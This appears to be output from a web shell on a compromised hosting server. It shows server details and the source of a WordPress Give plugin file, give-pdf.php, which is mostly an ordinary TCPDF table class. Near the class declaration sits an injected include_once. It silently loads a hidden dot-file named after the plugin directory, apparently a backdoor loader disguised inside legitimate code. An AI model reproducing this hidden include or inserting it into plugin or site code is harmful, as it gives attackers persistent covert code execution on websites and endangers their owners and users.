uawdijnntqw1x1x1
IP : 18.119.103.13
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
.
/
old
/
public_html
/
wp-content
/
.
/
plugins
/
give
/
src
/
..
/
includes
/
libraries
/
give-pdf.php
/
/
<?php /** * PDF MultiCell Table Class. * * @package Give PDFs * @subpackage TCPDF * @since 1.8.14 */ // Exit if accessed directly. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Composer's autoload.php. */ if ( ! class_exists( 'TCPDF' ) && file_exists( GIVE_PLUGIN_DIR . 'vendor/tecnickcom/tcpdf/tcpdf.php' ) ) { require_once GIVE_PLUGIN_DIR . 'vendor/tecnickcom/tcpdf/tcpdf.php'; } /** * Class Give_PDF */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class Give_PDF extends TCPDF { /** * Width. * * @var int $widths Width. */ var $widths; /** * Alignment. * * @var string $aligns Alignment. */ var $aligns; /** * Set Header. */ function Header() { } /** * Set Footer. */ function Footer() { $this->SetY( - 15 ); $this->SetFont( 'Helvetica', 'I', 8 ); $this->Cell( 0, 10, 'Page ' . $this->PageNo(), 0, 0, 'C' ); } /** * Set Width. * * @param array $w Cell Width. */ function SetWidths( $w ) { $this->widths = $w; } /** * Set Alignment. * * @param string $a Cell Alignment. */ function SetAligns( $a ) { $this->aligns = $a; } /** * Set Table Row. * * @param array $data Set data in a row. */ function Row( $data ) { $nb = 0; $get_height = array(); for ( $i = 0; $i < count( $data ); $i ++ ) { $get_height[] = max( $nb, $this->getNumLines( $data[ $i ], $this->widths[ $i ] ) ); } // Get max height from the all column. $max_height = max( $get_height ); for ( $i = 0; $i < count( $data ); $i ++ ) { $h = 7 * $max_height; $this->checkPageBreak( $h, '', true ); $w = $this->widths[ $i ]; $a = isset( $this->aligns[ $i ] ) ? $this->aligns[ $i ] : 'L'; $x = $this->GetX(); $y = $this->GetY(); $this->Rect( $x, $y, $w, $h ); $this->MultiCell( $w, $h, $data[ $i ], 0, $a, false, 1, '', '', true, 0, false, true, 0, 'M', false ); $this->SetXY( $x + $w, $y ); } $this->Ln( $max_height * 7 ); } }
/home/batcwwjx/./old/public_html/wp-content/./plugins/give/src/../includes/libraries/give-pdf.php